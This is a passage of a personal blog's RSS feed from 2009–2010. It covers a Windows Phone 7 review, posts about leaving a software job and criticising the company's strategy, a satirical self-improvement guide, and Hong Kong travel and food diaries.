<p>They have also taken some decisions with the interface that they probably think of as &#8220;innovative&#8221;, but I would describe as &#8220;strange&#8221;. For example, instead of the iPhone&#8217;s single &#8220;home&#8221; button, there is a &#8220;back&#8221; button which will navigate back through your app, until you reach the first page when it will quit. But there&#8217;s also a &#8220;Start&#8221; button which takes you back to the app launcher. I can&#8217;t see the advantage of the additional hardware button here &#8211; the iPhone approach of having all app navigation in the touchscreen works perfectly well, so I wonder if Microsoft are forced to go this way to avoid stepping on one of Apple&#8217;s many patents.</p>
<p>I have doubts about the &#8220;panorama&#8221; interface, as shown in the picture above. It looks like this just makes a lot of the menus hard to find &#8211; it will be interesting to see how well this works on the devices when they appear later this year.</p>
<p>In summary, I find it hard to see Windows Phone 7 taking off. It would have been a great product five years ago, but Microsoft is clearly desperately chasing Apple and Android and is way behind. I like the idea of .NET on a mobile device &#8211; it would certainly make it easier for me to port my own existing applications to a mobile phone &#8211; but there&#8217;s nothing (yet) that makes it stand out in any area ahead of the competition, so any mobile app developer is going to have an extremely limited potential user base. It&#8217;s too little, too late.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2010/08/15/guathon-new-net-stuff-and-windows-phone-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Something positive</title>
		<link>http://www.alexwarren.co.uk/2010/07/31/something-positive/</link>
		<comments>http://www.alexwarren.co.uk/2010/07/31/something-positive/#comments</comments>
		<pubDate>Sat, 31 Jul 2010 10:51:03 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=307</guid>
		<description><![CDATA[I finished work yesterday, so I&#8217;m now a free man who has no idea what&#8217;s going to happen next. I&#8217;m excited about the future but I&#8217;m sad to be leaving my old colleagues behind. Just before leaving, I sent out &#8230; <a href="http://www.alexwarren.co.uk/2010/07/31/something-positive/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I finished work yesterday, so I&#8217;m now a free man who has no idea what&#8217;s going to happen next. I&#8217;m excited about the future but I&#8217;m sad to be leaving my old colleagues behind.</p>
<p>Just before leaving, I sent out the routine email with my contact details and a list of my various websites (this one, Axe Software, Facebook, LinkedIn profiles etc.). Unfortunately, the most recent article at the top of this site was <a href="http://www.alexwarren.co.uk/2010/07/12/how-to-lose-staff-and-make-your-software-company-fail/">How to lose staff and make your software company fail</a> which is rather negative about the company I&#8217;ve just left. My boss was not particularly happy about this.</p>
<p>Woops. I did think twice before including the link to alexwarren.co.uk but concluded:</p>
<ul>
<li>I was linking to this site in general, not that article specifically</li>
<li>I didn&#8217;t want to delete the article</li>
<li>I did want people to know about my personal blog</li>
<li>This blog is linked from the Facebook and LinkedIn profiles anyway</li>
<li>I still stand by that particular article, as I&#8217;d never have published it otherwise</li>
<li>Many of my colleagues had already seen the article</li>
<li>The views I expressed in that article would not have come as any surprise</li>
<li>I&#8217;d already discussed many of the points in that article both with my boss and with the head of development</li>
</ul>
<p>So, it was sad that my most recent article was so negative (perhaps it&#8217;s an indication that I should blog more often so that I don&#8217;t leave negative articles hanging around at the top of the page for long). And maybe I could have chosen a less pejorative, less melodramatic title &#8211; but that was how I felt at the time I wrote the article, and I didn&#8217;t want to edit history.</p>
<p>But in the interest of balance, I should point out that things <em>are</em> beginning to change at the company. They have begun to listen to what people like me are saying, and are starting to put things in place in an effort to make it a better place to work.</p>
<p>After writing that blog post, I emailed the head of development to give him some feedback, and I made the same points that I&#8217;d made in the blog &#8211; that if more effort wasn&#8217;t made very soon to migrate properly to .net, the company will have massive problems in the future. I was a bit trepidatious about sending the email &#8211; after all, it takes some balls to criticise senior management &#8211; but I thought it needed saying and I was interested in what kind of response I&#8217;d get. I didn&#8217;t have much to lose anyway.</p>
<p>I was pleased that the head of development took the time to construct a proper response, and we had quite a lengthy exchange of emails. Obviously he was never going to fully agree with me and immediately initiate a big project to undertake a big migration, but from what people have told me it&#8217;s suddenly become a much higher priority, and the head of development has suddenly taken a much greater interest in the state of the existing codebase. It seems that for whatever reason he wasn&#8217;t fully aware of the scale of the problem before. So emailing him had turned out to be a very good idea.</p>
<p>And it&#8217;s not just my complaints that are being listened to. From the private conversations I&#8217;ve had, it looks like they are beginning to listen to other developers and are willing to implement their suggested changes to make things better.</p>
<p>So, expressing negative opinions can lead to positive results. Indeed, how can problems be fixed if nobody expresses the problems in the first place? Surely it&#8217;s worse to keep these kinds of things to yourself?</p>
<p>Of course the real reason my boss was upset to click through my leaving email and see that post there was that it&#8217;s so public. He was unhappy that I hadn&#8217;t expressed these views in private before blogging about them. But often it&#8217;s only through writing things properly that one can clearly arrange one&#8217;s thoughts and come to a proper viewpoint in the first place. And there&#8217;s not much motivation to write properly if you don&#8217;t have an audience. Without that blog post, I would have found it harder to express my views to the people that could do something about them.</p>
<p>I want to continue blogging about my software development experiences. Inevitably many of those experiences will be negative, because those are the most interesting ones to write about. I expect these experiences are hardly unique &#8211; there must be huge numbers of software companies and developers facing similar problems. That&#8217;s what I hope will make this blog valuable over the coming months and years as I continue to write about the world of software.</p>
<p>Where things are negative, there is the potential for making things better, and if I have an idea for making things better, I want to implement it &#8211; or at least share it. What could be more positive than that?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2010/07/31/something-positive/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to lose staff and make your software company fail</title>
		<link>http://www.alexwarren.co.uk/2010/07/12/how-to-lose-staff-and-make-your-software-company-fail/</link>
		<comments>http://www.alexwarren.co.uk/2010/07/12/how-to-lose-staff-and-make-your-software-company-fail/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 18:49:33 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=293</guid>
		<description><![CDATA[Having handed in my notice at work, nothing much has changed &#8211; I&#8217;m carrying on in the same way as before. I turn up in the morning, fix the odd uninteresting bug, and leave in the evening. Since I&#8217;m not &#8230; <a href="http://www.alexwarren.co.uk/2010/07/12/how-to-lose-staff-and-make-your-software-company-fail/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Having handed in my notice at work, nothing much has changed &#8211; I&#8217;m carrying on in the same way as before. I turn up in the morning, fix the odd uninteresting bug, and leave in the evening.</p>
<p>Since I&#8217;m not working on a big project at the moment, I don&#8217;t have anything to hand over, so I don&#8217;t even get the satisfaction of wrapping things up and handing them on to someone else. Instead I&#8217;m plodding along, counting down the days until I can leave.</p>
<p>As software developers, we need varied work with a sense of purpose. Giving staff nothing to do but bug fixing for months is a good way of filtering good developers out of your organisation.</p>
<p>With no real goal in sight, there&#8217;s no feeling that things are moving forward, and working life becomes an unrelenting march, bug bug bug bug, bug bug bug bug, bug bug bug bug. Every day is much like every other day, and they merge in the memory. Weeks skip by with nothing to identify them except for the management&#8217;s statistics on how many bugs you&#8217;ve fixed. The idea of introducing these statistics was, I presume, to encourage people to work harder, but it&#8217;s pretty demoralising when your entire week is distilled down to &#8220;10 bugs fixed, 1 test failure&#8221;. That&#8217;s not a way of getting the best out of your developers, that&#8217;s a way of getting your best developers <em>out</em>.</p>
<p>The latest missive from senior management tells us the strategy for the next year or so is to focus even more effort on bug fixing, at the expense of work to enhance the product. While there are certainly plenty of bugs to be fixed, I strongly feel that there also needs to be an investment made into fundamental refactoring and redevelopment of the software &#8211; the company is storing up problems for the future otherwise. So much of the system is written using crappy old VB6 &#8211; moving over to .net will take many years, and putting it off means it&#8217;s going to be harder to recruit and retain good developers. They&#8217;ll be paying premium rates for the kind of developers who don&#8217;t have an interest in technology or creating good software &#8211; they need to invest now to stop that happening.</p>
<p>The current strategy will undoubtedly save money in the short term, but failing to invest in your future is a terrible mistake.</p>
<p>But at least I now know I have made the correct decision, because I&#8217;m not afraid of making the effort to invest in mine.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2010/07/12/how-to-lose-staff-and-make-your-software-company-fail/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>My greatest weakness</title>
		<link>http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/</link>
		<comments>http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 18:30:31 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=290</guid>
		<description><![CDATA[A classic job interview question is &#8220;what is your greatest weakness?&#8221;. I suppose mine is that once I get bored, that&#8217;s it. As soon as I&#8217;ve got comfortable in a job and think I&#8217;ve got it all figured out, as &#8230; <a href="http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>A classic job interview question is &#8220;what is your greatest weakness?&#8221;. I suppose mine is that once I get bored, that&#8217;s it. As soon as I&#8217;ve got comfortable in a job and think I&#8217;ve got it all figured out, as soon as I&#8217;ve stopped being stressed because I don&#8217;t know what&#8217;s going on, as soon as I&#8217;m part of the furniture, there&#8217;s only one place to go &#8211; the exit.</p>
<p>So, after three years for my current employer I&#8217;ve handed in my notice. I&#8217;ve certainly improved a lot as a software developer since I got there, but the pace of improvement has slowed a lot recently so it&#8217;s time to move on.</p>
<p>I&#8217;ve decided to seek out temporary contracts instead of permanent employment. That should keep the boredom levels down, give me a nice variety of different work &#8211; and let me spend time between contracts building up my software business <a href="http://www.axeuk.com">Axe Software</a>. Yes, you may not think that text adventure games are the future, but you&#8217;ll see. Eventually. Perhaps.</p>
<p>It will be a bit more hassle &#8211; regular job interviews, the administrative overhead of setting up a limited company, and reduced job security, but really, overall it&#8217;s a no-brainer. I wish I&#8217;d thought of it sooner!</p>
<p>So, I have two questions &#8211; anyone need an awesome C# developer starting in August for, say, six months? And does anybody know a good accountant?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Alex&#8217;s Guide to a New You in 2010</title>
		<link>http://www.alexwarren.co.uk/2010/01/04/alexs-guide-to-a-new-you-in-2010/</link>
		<comments>http://www.alexwarren.co.uk/2010/01/04/alexs-guide-to-a-new-you-in-2010/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 12:00:45 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Comedy]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=277</guid>
		<description><![CDATA[It&#8217;s the beginning of a new decade, so it&#8217;s time to sort yourself out. Do you want to be the same old grumpy, boring, fat and stupid you of the noughties? Of course not! So turn your life around, try &#8230; <a href="http://www.alexwarren.co.uk/2010/01/04/alexs-guide-to-a-new-you-in-2010/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s the beginning of a new decade, so it&#8217;s time to sort yourself out. Do you want to be the same old grumpy, boring, fat and stupid you of the noughties? Of course not! So turn your life around, try something new and rid yourself of ugliness using my fantastic guide to a whole new you, for a whole new decade!</p>
<p><strong>Step 1: A Positive Outlook</strong></p>
<p>Yes, maybe you think January is actually a rubbish time to stop your life from being crap. It&#8217;s dark and cold, and the memories of a loving, laughter-filled and delicious Christmas are fading, to be replaced by the cold reality of your fat, grey reflection staring back at you in the bathroom mirror.</p>
<p>That&#8217;s why it&#8217;s time to Think Positive! Yes, you really can ignore reality if you just delude yourself enough! Turn that frown upside down! Those tears are tears of joy! You&#8217;re not fat, just cuddly! You&#8217;re not ugly, you just have an interesting face! You&#8217;re not sad and alone in a big scary world full of people you wish would die &#8211; you&#8217;re just independent!</p>
<p>At the end of every day, try to think of three good things that have happened to you that day. For example, although today has been a fairly average day for me, I can easily think of three good things about it:</p>
<ul>
<li>Today I wasn&#8217;t brutally murdered by an escaped maniac!</li>
<li>I managed to eat all my breakfast without spilling any down myself! Shame about the cup of tea I had afterwards though.</li>
<li>I got a letter! That shows there&#8217;s someone out there who cares! Even though it was an unscrupulous debt collection agency. Still, as they said themselves, it would be a real shame if something bad happened to my house &#8211; they&#8217;re such caring souls!</li>
</ul>
<p><strong>Step 2: Rebrand Yourself</strong></p>
<p>So now you&#8217;re positive on the inside &#8211; it&#8217;s time to get positive on the outside too. Cast off your old name and go forth into the brave new world with a moniker that tells everybody who you are, and why you&#8217;re so great!</p>
<p>I hired a cutting-edge but cheap advertising agency to come up with a new brand. After several minutes of blue-sky thinking and meticulous market research, I now have a new identity to present to the world. Say goodbye to plain old &#8220;Alex Warren&#8221;, say hello to &#8220;Alexwar<sup>®</sup> sponsored by Anusol&#8221;.</p>
<p><strong>Step 3: Change Your Look</strong></p>
<p>Hey, you with the stupid noughties face! Announce your new life to the world with a fresh new look&#8230;</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/newlife1.jpg"><img class="alignnone size-full wp-image-280" style="border: 0px initial initial;" title="newlife" src="http://www.alexwarren.co.uk/wp-content/newlife1.jpg" alt="" width="579" height="285" /></a></p>
<p><strong>Step 4: Give Up Alcohol</strong></p>
<p>You might think that the best way to while away the bleak winter months would be to drink so heavily that you spend much of this early part of the year completely unconscious, and the rest of it utterly oblivious to the misery that surrounds you. Not so! We&#8217;re thinking positive, remember? You don&#8217;t need alcohol to lull you into your new happy-go-lucky way of life, you just need a mantra.</p>
<p>So, next time you find yourself reaching for that bottle of vodka, just sit down and repeat to yourself, &#8220;I&#8217;m happy, I&#8217;m happy, I&#8217;m happy, I&#8217;m happy, I&#8217;m happy, I&#8217;m happy, I&#8217;m so very happy, I&#8217;m happy, I&#8217;m happy, so very happy, happy, happy, everything is fine, everything is fine, everything is fine, everything is fine, everything is fine, I&#8217;m happy, I&#8217;m not crying, I will be OK, I&#8217;m fine, everything is fine, everything is fine&#8221; while rocking gently back and forth.</p>
<p><strong>Step 5: A New Career</strong></p>
<p>After following the above steps, you&#8217;ll probably turn up to work and realise that it just isn&#8217;t fulfilling you any more. And, by complete coincidence, you may find that your current place of employment are more than willing to let you seek out a new life elsewhere. They&#8217;ll be simply begging you to leave!</p>
<p>Perhaps you&#8217;ll find the job of dreams out there. Maybe you&#8217;ll decide that 2010 is the year for nothing but quiet contemplation, perhaps alone in a bedsit or some kind of hospital?</p>
<p><strong>Step 6: Save Money</strong></p>
<p>With your new direction, you&#8217;ll have a lot less money coming in, and you won&#8217;t be able to rely on your old friends to support you, because they will have stopped speaking to you. But they were useless anyway! They were holding you back, and you don&#8217;t want to return to your old ways now &#8211; you&#8217;ve come too far. Just think positive.</p>
<ul>
<li>Save on transport costs by walking everywhere, or just going nowhere!</li>
<li>Eat less! You&#8217;ll save money, and not be quite so hideously fat!</li>
<li>Stop washing your clothes! You may stink, but nobody will complain since nobody talks to you any more anyway! And we all like a bit of peace and quiet &#8211; so there&#8217;s a bonus!</li>
</ul>
<p><strong>Step 7: Your New Life Awaits</strong></p>
<p>If you&#8217;ve followed this guide, you&#8217;ll have transformed from a sad, unloved, repugnant waste of space into a much happier one.</p>
<p>May all your dreams come true in 2010 (except those induced by heavy medication).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2010/01/04/alexs-guide-to-a-new-you-in-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Look into my eyes&#8230;</title>
		<link>http://www.alexwarren.co.uk/2009/10/16/nude-inspiration-photoshop-disaster/</link>
		<comments>http://www.alexwarren.co.uk/2009/10/16/nude-inspiration-photoshop-disaster/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 18:39:08 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Misc]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=273</guid>
		<description><![CDATA[I spotted this make-up advert while I was in Hong Kong: There&#8217;s something disturbing about it. Leaving aside for a moment the fact that the range is called &#8220;Nude Inspiration&#8221;, yet the model is wearing thick, dark, make-up, there&#8217;s just &#8230; <a href="http://www.alexwarren.co.uk/2009/10/16/nude-inspiration-photoshop-disaster/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I spotted this make-up advert while I was in Hong Kong:</p>
<p><a href="http://www.alexwarren.co.uk/photos/hongkong/IMG_4793.jpg.php?p=*full-image"><img class="alignnone" title="Make-up advert" src="http://www.alexwarren.co.uk/photos/cache/hongkong/IMG_4793.jpg_595.jpg" alt="" width="595" height="446" /></a></p>
<p>There&#8217;s something disturbing about it. Leaving aside for a moment the fact that the range is called &#8220;Nude Inspiration&#8221;, yet the model is wearing thick, dark, make-up, there&#8217;s just something&#8230; erm, wrong about her eyes.</p>
<p><a href="http://www.alexwarren.co.uk/photos/hongkong/IMG_4793.jpg.php?p=*full-image"><img class="alignnone" title="Eyes" src="http://www.alexwarren.co.uk/images/eyes.jpg" alt="" width="300" height="332" /></a></p>
<p>Is this a Photoshop disaster? Admittedly not quite as bad as <a href="http://www.theregister.co.uk/2009/10/08/ralph_lauren_photoshop/" target="_blank">Ralph Lauren</a>&#8216;s, but possibly more disturbing for being subtle.</p>
<p>Or is it just a trick of perspective?</p>
<p>Whichever, to me her eyes are either not at quite the same level, or one is closer to the centre of her face than the other.</p>
<p>Oh and her mouth is fucked up too.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2009/10/16/nude-inspiration-photoshop-disaster/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Most unpopular office sweets ever</title>
		<link>http://www.alexwarren.co.uk/2009/10/12/most-unpopular-office-sweets-ever/</link>
		<comments>http://www.alexwarren.co.uk/2009/10/12/most-unpopular-office-sweets-ever/#comments</comments>
		<pubDate>Mon, 12 Oct 2009 17:28:50 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=260</guid>
		<description><![CDATA[When I was in Hong Kong I went to a shop called Aji Ichiban to pick up some sweets for the office. I really wanted to pick up some duck kidneys but UK customs forbid importing meat from outside the EU. &#8230; <a href="http://www.alexwarren.co.uk/2009/10/12/most-unpopular-office-sweets-ever/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>When I was in Hong Kong I went to a shop called <a href="http://www.ajiichiban.com.hk/eng/index.php" target="_blank">Aji Ichiban</a> to pick up some sweets for the office.</p>
<p>I really wanted to pick up some <a href="http://www.alexwarren.co.uk/2009/10/03/hong-kong-day-3-bone-crunchin-good/" target="_blank">duck kidneys</a> but UK customs forbid importing meat from outside the EU. So, I had to make do with some other weird-looking &#8220;treats&#8221;, and they turned out to be almost as off-putting.</p>
<p>Usually whenever an email goes out about free food, there is a stampede and very quickly nothing is left. You&#8217;d think my colleagues never got fed. This time though, a few hovered around my desk, poking the sweets curiously and only a brave few were tempted to try one, with some trepidation.</p>
<p>It turns out that these sweets are more bizarre and disgusting than most of the food I tried while I was in Hong Kong. &#8220;Highlights&#8221; of my particular bag of delights were:</p>
<ul>
<li>Liquorice <a href="http://en.wikipedia.org/wiki/Clausena_lansium" target="_blank">Wampee</a> – this didn&#8217;t taste at all of liquorice. You know when you&#8217;re visiting a stately home and there&#8217;s that kind of musty, old-fashioned smell? These sweets taste like that. It&#8217;s like eating Henry VIII’s duvet.</li>
<li>Ginseng Candy – “like sucking on an incense stick”, said one of my colleagues. I think it was more like licking a school hall floor &#8211; kind of woody.</li>
<li>Honey Plum – “sweets aren’t supposed to be salty are they?” said a co-worker, before spitting out the enormous seed into a nearby bin.</li>
<li>A salty plum stone in a bland boiled sweet which looked like an eyeball – “the worst thing I’ve ever tasted” was one comment, which wasn&#8217;t far off the mark. Bizarre and disgusting.</li>
<li>Lemon tea – this was actually quite pleasant. It was odd to have a sweet that tasted of tea, but it did a great job of refreshing the palate after eating one of the other ones.</li>
<li>Preserved strawberries – these were OK. They were just dried-out strawberries, so no unpleasant surprises there.</li>
<li>Preserved spiced olive – this sounded like it would be hideous, but it was surprisingly nice &#8211; not much of an olive flavour thankfully, just an interestingly tasty mix of sweetness and spice with a hint of savoury.</li>
<li>Hawthorne Cake – a sugary wafer, not too bad.</li>
<li>Iced hawthorne – just like a sheet of fruit gum.</li>
</ul>
<p>There were some great grimaces as people munched on what has to be the most unpopular office treat we&#8217;ve seen for some time. Mission accomplished!</p>
<p>Here are the leftovers&#8230;</p>
<p><a href="http://www.alexwarren.co.uk/images/IMG_0361.JPG"><img class="alignnone" title="Sweets" src="http://www.alexwarren.co.uk/images/IMG_0361s.jpg" alt="" width="600" height="450" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2009/10/12/most-unpopular-office-sweets-ever/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hong Kong Day 10/11 &#8211; And Finally&#8230;</title>
		<link>http://www.alexwarren.co.uk/2009/10/11/hong-kong-day-1011-and-finally/</link>
		<comments>http://www.alexwarren.co.uk/2009/10/11/hong-kong-day-1011-and-finally/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 18:30:56 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=249</guid>
		<description><![CDATA[Friday 9th October We got up for breakfast at the Rio hotel, which was an extensive buffet of the usual hotel breakfast fare. All perfectly fine, but we could have done without the panpipe instrumental cover versions of Andrew Lloyd &#8230; <a href="http://www.alexwarren.co.uk/2009/10/11/hong-kong-day-1011-and-finally/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Friday 9th October</strong></p>
<p>We got up for breakfast at the Rio hotel, which was an extensive buffet of the usual hotel breakfast fare. All perfectly fine, but we could have done without the panpipe instrumental cover versions of Andrew Lloyd Webber and Bryan Adams being piped into the restaurant &#8211; although perhaps, for those who had lost large amounts in the casino the night before, it was the perfect soundtrack for them to weep into their morning coffees.</p>
<p>We got the ferry back from Macau into Hong Kong, and then returned to the hostel and spent the entire afternoon catching up on sleep. At about 6pm we went out and met up for the final time with Will&#8217;s friends Syliva and Winnie, and we grabbed a quick snack of some more takoyaki octopus balls, before getting some sushi. We had sea urchin (smooth and buttery); various sashimis &#8211; salmon, red snapper (a quite strong but pleasant fishy taste), geoduck (a species of saltwater clam, which didn&#8217;t taste of much); and sushi covered in brightly coloured crab roe.</p>
<p>Then we went to a different place for dessert, which was a massive tower of ice crystals like a solid slush puppy, with various flavourings &#8211; strawberry, sesame and green tea. The green tea flavour didn&#8217;t really taste of anything. There was also a pot of syrup you could pour over the ice, which just made it melt away leaving you with a sweet slush.</p>
<p>We picked up some sweets for our various offices. I would have loved to have picked up the sweetened duck kidneys, but Will reminded me that you probably can&#8217;t bring back meat products into the UK (and he was right &#8211; there was an announcement when we arrived back at Heathrow about the huge fines and imprisonment you risk by attempting to do so).</p>
<p>We got a bus back down to the harbour to go to the Sheraton again for cocktails with a view, as Syliva and Winnie hadn&#8217;t been before &#8211; the usual story of not doing the touristy things in your own city unless you&#8217;re with visitors. The &#8220;Key of Soul&#8221; cocktail was nice and fruity, and the non-alcoholic ones were really nice too, but the highlight had to be one called &#8220;Elements&#8221; which was made from Bailey&#8217;s and strawberries. It was like a strawberry milkshake with a kick &#8211; delicious.</p>
<p>Perhaps unwisely it was a pretty late night. We didn&#8217;t get to bed until about 2am, and we were going to have to check in for our flight at about 6.30&#8230;</p>
<p><strong>Saturday 10th October</strong></p>
<p>After about two hours&#8217; sleep, Will&#8217;s aunt&#8217;s driver Jackie picked us up to take us to the airport. Hong Kong airport is at number ten on the list of biggest buildings in the world by floor space, so that was two ticked off on one holiday (along with The Venetian). It&#8217;s nice and modern, but apart from that it&#8217;s just another airport. One of the duty-free shops had a bottle of blended cognac on display worth HK$38,000 (about £3000), at what seemed an easily-smashable height. The cognacs in the ingredients all dated from between 1800 and 1930. I don&#8217;t know who would ever buy such a thing at an airport &#8211; I can only conclude that it was on such prominent display in the hope that someone would break it and have to pay for it. Another shop was called &#8220;Caviar &amp; Prunier&#8221;. It&#8217;s strange how duty-free areas at airports still have this aspirational quality, even though air travel is such a cheap and normal thing to do these days. You wouldn&#8217;t get this kind of thing in a bus station.</p>
<p>The plane was half an hour late for boarding, but that was pretty insignificant for a 13-hour flight. It was another pleasant flight with Air New Zealand &#8211; I&#8217;d happily use them again. Three meals this time &#8211; sausage and omelette for breakfast, a ham and cheese sandwich half-way through the flight, and a lunch of chicken curry. On the in-flight entertainment system I watched Frost/Nixon, which I&#8217;ve been wanting to watch for a while &#8211; an excellent film, and for my non-film-buff, tired self it was nice and easy to follow.</p>
<p>We landed just after 3pm and were home by 5. I felt tired but my body clock seemed correct &#8211; it didn&#8217;t &#8220;feel&#8221; like the midnight that it was in Hong Kong. I&#8217;d had a bit of a nap on the plane but not for very long.</p>
<p>London smells clean. That&#8217;s not something I would ever have expected to say, but there was a notable freshness in the air compared to Hong Kong. The skies are clearer and it&#8217;s far less hazy. And the buildings are a lot smaller. It was strange sitting on the train back to Forest Hill and looking out over what seemed like a small town compared to the towering city we&#8217;d grown used to.</p>
<p>I think I&#8217;ll give myself a break from Chinese food for a while &#8211; at home we treated ourselves to a dinner of burger and chips. Not that we couldn&#8217;t easily have had that in Hong Kong &#8211; there are plenty of branches of McDonald&#8217;s, but a large part of this holiday was about trying out the local food. The Chinese takeaway menu waiting on the doormat was actually rather unfamiliar &#8211; there&#8217;s so much more variety to Chinese food than crispy duck pancakes, sweet and sour and chow mein &#8211; in fact these were all things that we hardly saw out there. It just shows how we get a very Westernised version of foreign food, but then maybe that&#8217;s because we don&#8217;t have much of an appetite for the boney gristle and pigeon&#8217;s heads.</p>
<p>Not that we would have tried of half of these things if it weren&#8217;t for Will &#8211; although there is quite a lot of English around, a lot of people don&#8217;t speak it and plenty of menus don&#8217;t have any English on them either, so having a Cantonese speaker in the group made it a lot easier, more interesting and fun. In fact we wouldn&#8217;t even have gone in the first place without him, so cheers Will!</p>
<p>I&#8217;m pretty tired now and wish I had a few more days off before going back to work.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2009/10/11/hong-kong-day-1011-and-finally/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

